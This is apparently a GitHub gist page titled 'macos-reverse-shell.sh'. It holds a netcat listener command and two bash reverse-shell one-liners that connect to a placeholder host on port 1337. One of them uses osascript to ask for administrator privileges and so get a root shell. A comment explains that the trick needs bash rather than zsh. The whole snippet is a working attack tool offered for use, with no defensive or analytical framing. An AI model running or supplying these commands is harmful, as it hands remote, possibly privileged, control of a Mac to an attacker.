Created
December 6, 2018 17:47
-
-
Save Metnew/09a50c38d398c482b2df59082f0d13c6 to your computer and use it in GitHub Desktop.
macos-reverse-shell.sh
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # C2 | |
| # nc -l 1337 | |
| # Root | |
| osascript -e "do shell script \"bash -i >& /dev/tcp/client.ip/1337 0>&1 \" with administrator privileges" | |
| # User | |
| bash -i >& /dev/tcp/client.ip/1337 0>&1 |
Author
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
make sure you're running this in bash not zsh
/dev/tcp/hostname/portmight be treated as file not as pipe